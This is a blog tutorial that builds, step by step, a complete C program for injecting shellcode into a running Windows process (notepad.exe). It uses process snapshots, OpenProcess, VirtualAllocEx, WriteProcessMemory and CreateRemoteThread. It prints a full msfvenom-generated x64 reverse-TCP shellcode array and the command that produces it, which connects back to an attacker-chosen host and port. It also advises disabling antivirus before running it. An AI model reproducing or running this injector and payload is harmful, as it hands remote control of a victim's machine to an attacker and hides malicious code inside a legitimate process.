Shellcode Injection

In this blog post, we'll cover how to inject shellcode into a remote process in Windows.

Prerequisites

  1. Coding experience with C/C++.

  2. IDE (Visual Studio is preferred).

Take a Snapshot of Processes

To inject shellcode into a remote process, first we need to find all running processes. To do that, we need a way to take a snapshot of them at a time.

CreateToohelp32Snapshot

Takes a snapshot of the specified processes, as well as the heaps, modules, and threads used by these processes.

HANDLE CreateToolhelp32Snapshot(
  [in] DWORD dwFlags,
  [in] DWORD th32ProcessID
);

[in] DWORD dwFlags

The portions of the system to be included in the snapshot.

We need to take a snapshot of all process, so TH32CS_SNAPALL is what we need for dwFlags's value.

TH32CS_SNAPALL

Includes all processes and threads in the system, plus the heaps and modules of the process specified in th32ProcessID.

[in] DWORD th32ProcessID

The process identifier of the process to be included in the snapshot. This parameter can be zero to indicate the current process. This parameter is used when the TH32CS_SNAPHEAPLIST, TH32CS_SNAPMODULE, TH32CS_SNAPMODULE32, or TH32CS_SNAPALL value is specified. Otherwise, it is ignored and all processes are included in the snapshot.

This can be NULL.

Coding #1

Let's code what we learned until now.

#include <windows.h>
#include <TlHelp32.h>

/*
	windows.h
	- HANDLE => Is used as a reference.
	- CloseHandle => Closes an open object handle.

	TlHelp32.h
	- CreateToohelp32Snapshot
	- TH32CS_SNAPALL => Include all running processes.
*/


HANDLE takeSnapshot() {
	// Let's take a snapshot of all running processes.
	HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPALL, NULL);

	return snapshot;
}

int main(int argc, char** argv) {
	HANDLE snapshot = takeSnapshot();

	CloseHandle(snapshot);
	return 0;
}

After taking a snapshot, we have to iterate all processes to find the process we need to inject shellcode.

notepad.exe is always installed in Windows, so we can demonstrate the injection process with that.

Process32First and Process32Next

Iteration starts with getting the first process with Process32First function. If a process is found, we can keep iterate all of them by using Process32Next function.

Process32First

Retrieves information about the first process encountered in a system snapshot.

BOOL Process32First(
  [in]      HANDLE           hSnapshot,
  [in, out] LPPROCESSENTRY32 lppe
);

Process32Next

Retrieves information about the next process recorded in a system snapshot.

BOOL Process32Next(
  [in]  HANDLE           hSnapshot,
  [out] LPPROCESSENTRY32 lppe
);

[in] HANDLE hSnapshot

A handle to the snapshot returned from a previous call to the CreateToolhelp32Snapshot function.

[in, out] LPROCESSENTRY32 lppe

A pointer to a PROCESSENTRY32 structure. It contains process information such as the name of the executable file, the process identifier, and the process identifier of the parent process.

PROCESSENTRY32

Describes an entry from a list of the processes residing in the system address space when a snapshot was taken.

Coding #2

Before we get into applying everything we covered, we need to understand the difference between utf-8 and utf-16 character space.

Normally if we want to compare 2 strings in C, we use strcmp function. The function takes 2 utf-8 strings and compare them. What if we want to compare 2 utf-16 strings?

We can use wcscmp function. The function name comes from "wide character string compare". Okay. We can now compare wide strings, but what if we want to print one of them?

We all know print("%s", myString) works well for utf-8 strings. In this case we can change %s to %ws.

Let's find notepad.exe's process ID.

Open a notepad before you try to find the process id.

#include <stdio.h>
#include <windows.h>
#include <TlHelp32.h>

/*
	-- snippet --

	windows.h
	-- snippet --
	- wcscmp => Compares 2 utf-16 strings.
	- wchar_t => Is used for wide characters. (utf-16)

	TlHelp32.h
	-- snippet --
	- Process32First
	- Process32Next
*/

/*
	We can return one of these:
	- -1 => Process could not be found.
	- -2 => There is an issue with snapshot (empty list etc.)
*/
int getProcessId(HANDLE snapshot, wchar_t* processName) {
	/*
		Let's create an empty process entry.
		we'll assign this while we iterate the process list.
	*/
	PROCESSENTRY32 processEntry;
	/*
		The size of the structure, in bytes.Before calling the Process32First function, set this member to sizeof(PROCESSENTRY32).
		If you do not initialize dwSize, Process32First fails.
	*/
	processEntry.dwSize = sizeof(PROCESSENTRY32);

	/*
		Let's try to get the first process.
		Process32First takes the snapshot and assigns the first process to processEntry.
	*/
	BOOL success = Process32First(snapshot, &processEntry);

	// Check if have any problem with the process list.
	if (!success)
		return -2;

	// Iterate while we still have a process to check.
	while (success) {
		/*
			Let's check if we find a process with the name we supplied via processName parameter.
			Remember, we need to compare utf-16 strings.

			0 => Equal.
		*/
		if (wcscmp(processEntry.szExeFile, processName) == 0) {
			// When we found the process, we need to return process id of the process.
			return processEntry.th32ProcessID;
		}

		// We need to get the next process until either there is no left process or we find what we want.
		success = Process32Next(snapshot, &processEntry);
	}
}

HANDLE takeSnapshot() {
	-- snippet --
}

int main(int argc, char** argv) {
	HANDLE snapshot = takeSnapshot();

	// We use TEXT function to specify utf-16 strings.
	int processId = getProcessId(snapshot, TEXT("notepad.exe"));
	printf("Process Id: %d\n", processId);

	CloseHandle(snapshot);
	return 0;
}

Output

Process Id: 16808

Interact with Remote Process

After we find the process id, we need to open the process remotely to allocate virtual memory and inject shellcode into the allocated memory space.

OpenProcess

Opens an existing local process object.

HANDLE OpenProcess(
  [in] DWORD dwDesiredAccess,
  [in] BOOL  bInheritHandle,
  [in] DWORD dwProcessId
);

[in] DWORD dwDesiredAccess

The access to the process object. This access right is checked against the security descriptor for the process.

If the caller has enabled the SeDebugPrivilege privilege, the requested access is granted regardless of the contents of the security descriptor.

We need full access to the remote process, so we have request PROCESS_ALL_ACCESS.

PROCESS_ALL_ACCESS

All possible access rights.

[in] BOOL bInheritHandle

If this value is TRUE, processes created by this process will inherit the handle. Otherwise, the processes do not inherit this handle.

We can set it to FALSE in our case.

[in] DWORD dwProcessId

This will be the process id of notepad.exe.

Coding #3

Let's open the the process of notepad.exe.

#include <stdio.h>
#include <windows.h>
#include <TlHelp32.h>

/*
	-- snippet --

	TlHelp32.h
	-- snippet --
	- PROCESS_ALL_ACCESS => Request all the access of a process.
*/

/*
	We can return one of these:
	- -1 => process could not be found.
	- -2 => There is an issue with snapshot (empty list etc.)
*/
int getProcessId(HANDLE snapshot, wchar_t* processName) {
	// -- snippet --
}

HANDLE takeSnapshot() {
	// Let's take a snapshot of all running processes.
	HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPALL, NULL);

	return snapshot;
}

int main(int argc, char** argv) {
	HANDLE snapshot = takeSnapshot();

	// We use TEXT function to specify utf-16 strings.
	int processId = getProcessId(snapshot, TEXT("notepad.exe"));
	printf("Process Id: %d\n", processId);
	
	CloseHandle(snapshot);

	// We'll open the process of notepad.
	HANDLE notepad = OpenProcess(PROCESS_ALL_ACCESS, FALSE, processId);

	CloseHandle(notepad);
	return 0;
}

Allocate Virtual Memory

We opened the process of notepad.exe, now it's time to allocate a virtual memory space that fits our shellcode.

VirtualAllocEx

Reserves, commits, or changes the state of a region of memory within the virtual address space of a specified process.

LPVOID VirtualAllocEx(
  [in]           HANDLE hProcess,
  [in, optional] LPVOID lpAddress,
  [in]           SIZE_T dwSize,
  [in]           DWORD  flAllocationType,
  [in]           DWORD  flProtect
);

[in] HANDLE hProcess

The handle to a process. The function allocates memory within the virtual address space of this process.

[in, optional] LPVOID lpAddress

The pointer that specifies a desired starting address for the region of pages that you want to allocate.

[in] SIZE_T dwSize

The size of the region of memory to allocate, in bytes.

[in] DWORD flAllocationType

The type of memory allocation.

We'll use MEM_COMMIT as a its value.

MEM_COMMIT

Allocates memory charges (from the overall size of memory and the paging files on disk) for the specified reserved memory pages. The function also guarantees that when the caller later initially accesses the memory, the contents will be zero. Actual physical pages are not allocated unless/until the virtual addresses are actually accessed.

[in] DWORD flProcect

The memory protection for the region of pages to be allocated. The pages must be committed to specify a value.

We need to read, write and also execute the memory space. So we'll use PAGE_EXECUTE_READWRITE as its value.

Coding #4

Let's generate reverse shell payload. Then allocate a virtual memory in notepad.exe to place the reverse shell.

#include <stdio.h>
#include <windows.h>
#include <TlHelp32.h>

/*
	-- snippet --

	windows.h
	-- snippet --
	- VirtualAllocEx => Allocates a virtual memory space in a remote process.
	- LPVOID => Is a pointer to a void object.
	- PAGE_EXECUTE_READWRITE
	- MEM_COMMIT

	-- snippet --
*/

/*
	We can return one of these:
	- -1 => Process could not be found.
	- -2 => There is an issue with snapshot (empty list etc.)
*/
int getProcessId(HANDLE snapshot, wchar_t* processName) {
	// -- snippet --
}

HANDLE takeSnapshot() {
	// -- snippet --
}


int main(int argc, char** argv) {
	HANDLE snapshot = takeSnapshot();

	// We use TEXT function to specify utf-16 strings.
	int processId = getProcessId(snapshot, TEXT("notepad.exe"));
	printf("Process Id: %d\n", processId);

	CloseHandle(snapshot);

	// We'll open the process of notepad.
	HANDLE notepad = OpenProcess(PROCESS_ALL_ACCESS, FALSE, processId);

	/*
		msfvenom --platform windows -p windows/x64/shell_reverse_tcp LHOST=192.168.x.y LPORT=4444 EXITFUNC=thread -f c
		EXITFUNC=thread => Avoids to close the main process. (notepad.exe)
	*/
	unsigned char shellcode[] =
		"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
		"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
		"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9"
		"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"
		"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48"
		"\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01"
		"\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48"
		"\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0"
		"\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c"
		"\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0"
		"\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04"
		"\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59"
		"\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48"
		"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33"
		"\x32\x00\x00\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00\x00"
		"\x49\x89\xe5\x49\xbc\x02\x00\x11\x5c\xc0\xa8\xbc\x8e\x41\x54"
		"\x49\x89\xe4\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x4c"
		"\x89\xea\x68\x01\x01\x00\x00\x59\x41\xba\x29\x80\x6b\x00\xff"
		"\xd5\x50\x50\x4d\x31\xc9\x4d\x31\xc0\x48\xff\xc0\x48\x89\xc2"
		"\x48\xff\xc0\x48\x89\xc1\x41\xba\xea\x0f\xdf\xe0\xff\xd5\x48"
		"\x89\xc7\x6a\x10\x41\x58\x4c\x89\xe2\x48\x89\xf9\x41\xba\x99"
		"\xa5\x74\x61\xff\xd5\x48\x81\xc4\x40\x02\x00\x00\x49\xb8\x63"
		"\x6d\x64\x00\x00\x00\x00\x00\x41\x50\x41\x50\x48\x89\xe2\x57"
		"\x57\x57\x4d\x31\xc0\x6a\x0d\x59\x41\x50\xe2\xfc\x66\xc7\x44"
		"\x24\x54\x01\x01\x48\x8d\x44\x24\x18\xc6\x00\x68\x48\x89\xe6"
		"\x56\x50\x41\x50\x41\x50\x41\x50\x49\xff\xc0\x41\x50\x49\xff"
		"\xc8\x4d\x89\xc1\x4c\x89\xc1\x41\xba\x79\xcc\x3f\x86\xff\xd5"
		"\x48\x31\xd2\x48\xff\xca\x8b\x0e\x41\xba\x08\x87\x1d\x60\xff"
		"\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd\x9d\xff\xd5\x48"
		"\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13"
		"\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5";

	// Let's allocate the virtual memory space.
	LPVOID allocatedBuffer = VirtualAllocEx(notepad, NULL, sizeof shellcode, MEM_COMMIT, PAGE_EXECUTE_READWRITE);

	CloseHandle(notepad);
	return 0;
}

Write Shellcode to The Remote Process

After we allocate a virtual memory space in notepad.exe, it's time to write the shellcode to the its destination.

WriteProcessMemory

BOOL WriteProcessMemory(
  [in]  HANDLE  hProcess,
  [in]  LPVOID  lpBaseAddress,
  [in]  LPCVOID lpBuffer,
  [in]  SIZE_T  nSize,
  [out] SIZE_T  *lpNumberOfBytesWritten
);

[in] HANDLE hProcess

A handle to the process memory to be modified.

[in] LPVOID lpBaseAddress

A pointer to the base address in the specified process to which data is written.

[in] LPCVOID lpBuffer

A pointer to the buffer that contains data to be written in the address space of the specified process.

[in] SIZE_T nSize

The number of bytes to be written to the specified process.

[in] SIZE_T *lpNumberOfBytesWritten

A pointer to a variable that receives the number of bytes transferred into the specified process.

We don't need to a variable to keep track of recieved number of bytes. We'll set it to NULL.

Coding #5

#include <stdio.h>
#include <windows.h>
#include <TlHelp32.h>

/*
	-- snippet --

	windows.h
	-- snippet --
	- WriteProcessMemory
	- LPCVOID => Is a 32-bit pointer to a constant of any type.

	-- snippet --
*/

/*
	We can return one of these:
	- -1 => Process could not be found.
	- -2 => There is an issue with snapshot (empty list etc.)
*/
int getProcessId(HANDLE snapshot, wchar_t* processName) {
	// -- snippet --
}

HANDLE takeSnapshot() {
	// -- snippet --
}


int main(int argc, char** argv) {
	HANDLE snapshot = takeSnapshot();

	// We use TEXT function to specify utf-16 strings.
	int processId = getProcessId(snapshot, TEXT("notepad.exe"));
	printf("Process Id: %d\n", processId);

	CloseHandle(snapshot);

	// We'll open the process of notepad.
	HANDLE notepad = OpenProcess(PROCESS_ALL_ACCESS, FALSE, processId);

	/*
		msfvenom --platform windows -p windows/x64/shell_reverse_tcp LHOST=192.168.x.y LPORT=4444 EXITFUNC=thread -f c
		EXITFUNC=thread => Avoids to close the main process. (notepad.exe)
	*/
	unsigned char shellcode[] = "-- snippet --";

	// Let's allocate the virtual memory space.
	LPVOID allocatedBuffer = VirtualAllocEx(notepad, NULL, sizeof shellcode, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
	
	if (allocatedBuffer) {
		// We'll write the reverse shell into the virtual memory space.
		WriteProcessMemory(notepad, allocatedBuffer, shellcode, sizeof shellcode, NULL);
	}

	CloseHandle(notepad);
	return 0;
}

Execute The Shellcode

At last, we need to create remote thread which will execute the reverse shell.

CreateRemoteThread

Creates a thread that runs in the virtual address space of another process.

HANDLE CreateRemoteThread(
  [in]  HANDLE                 hProcess,
  [in]  LPSECURITY_ATTRIBUTES  lpThreadAttributes,
  [in]  SIZE_T                 dwStackSize,
  [in]  LPTHREAD_START_ROUTINE lpStartAddress,
  [in]  LPVOID                 lpParameter,
  [in]  DWORD                  dwCreationFlags,
  [out] LPDWORD                lpThreadId
);

[in] HANDLE hProcess

A handle to the process in which the thread is to be created.

[in] LPSECURITY_ATTRIBUTES lpThreadAttributes

A pointer to a SECURITY_ATTRIBUTES structure that specifies a security descriptor for the new thread and determines whether child processes can inherit the returned handle. If lpThreadAttributes is NULL, the thread gets a default security descriptor and the handle cannot be inherited. The access control lists (ACL) in the default security descriptor for a thread come from the primary token of the creator.

We'll set it to NULL.

[in] SIZE_T dwStackSize

The initial size of the stack, in bytes. If this parameter is 0 (zero), the new thread uses the default size for the executable.

We don't need to deal with this. Just set it to 0.

[in] LPTHREAD_START_ROUTINE lpStartAddress

A pointer to the application-defined function of type LPTHREAD_START_ROUTINE to be executed by the thread and represents the starting address of the thread in the remote process.

This is going to be allocatedBuffer.

[in] LPVOID lpParameter

A pointer to a variable to be passed to the thread function.

We don't need parameters. Assign it to NULL.

[in] DWORD dwCreationFlags

The flags that control the creation of the thread.

0 => Run the thread immeditaly.

CREATE_SUSPENDED => Needs a manuel start.

We can use CREATE_SUSPENDED but we need to call ResumeThread function to start the thread.

Not to deal with this too, we can use 0 as its value.

[in] LPDWORD lpThreadId

A pointer to a variable that receives the thread identifier.

If this parameter is NULL, the thread identifier is not returned.

Coding #6

Here we go. We are at the last step. When we run the thread, we hopefully get a reverse shell.

#include <stdio.h>
#include <windows.h>
#include <TlHelp32.h>

/*
	-- snippet --

	windows.h
	-- snippet --
	- CreateRemoteThread
	- LPSECURITY_ATTRIBUTES
	- LPDWORD => Is a pointer to a DWORD.

	-- snippet --
*/

/*
	We can return one of these:
	- -1 => Process could not be found.
	- -2 => There is an issue with snapshot (empty list etc.)
*/
int getProcessId(HANDLE snapshot, wchar_t* processName) {
	// -- snippet --
}

HANDLE takeSnapshot() {
	// -- snippet --
}


int main(int argc, char** argv) {
	HANDLE snapshot = takeSnapshot();

	// We use TEXT function to specify utf-16 strings.
	int processId = getProcessId(snapshot, TEXT("notepad.exe"));
	printf("Process Id: %d\n", processId);

	CloseHandle(snapshot);

	// We'll open the process of notepad.
	HANDLE notepad = OpenProcess(PROCESS_ALL_ACCESS, FALSE, processId);

	/*
		msfvenom --platform windows -p windows/x64/shell_reverse_tcp LHOST=192.168.x.y LPORT=4444 EXITFUNC=thread -f c
		EXITFUNC=thread => Avoids to close the main process. (notepad.exe)
	*/
	unsigned char shellcode[] = "-- snippet --";

	// Let's allocate the virtual memory space.
	LPVOID allocatedBuffer = VirtualAllocEx(notepad, NULL, sizeof shellcode, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
	
	if (allocatedBuffer) {
		// We'll write the reverse shell into the virtual memory space.
		WriteProcessMemory(notepad, allocatedBuffer, shellcode, sizeof shellcode, NULL);

		// Execute shellcode by creating a remote thread.
		CreateRemoteThread(notepad, NULL, 0, (LPTHREAD_START_ROUTINE)allocatedBuffer, NULL, 0, NULL);
	}

	CloseHandle(notepad);
	return 0;
}

Make sure that you disabled the antivirus product before you try. We didn't do any antivirus evasion here.

Last updated

Was this helpful?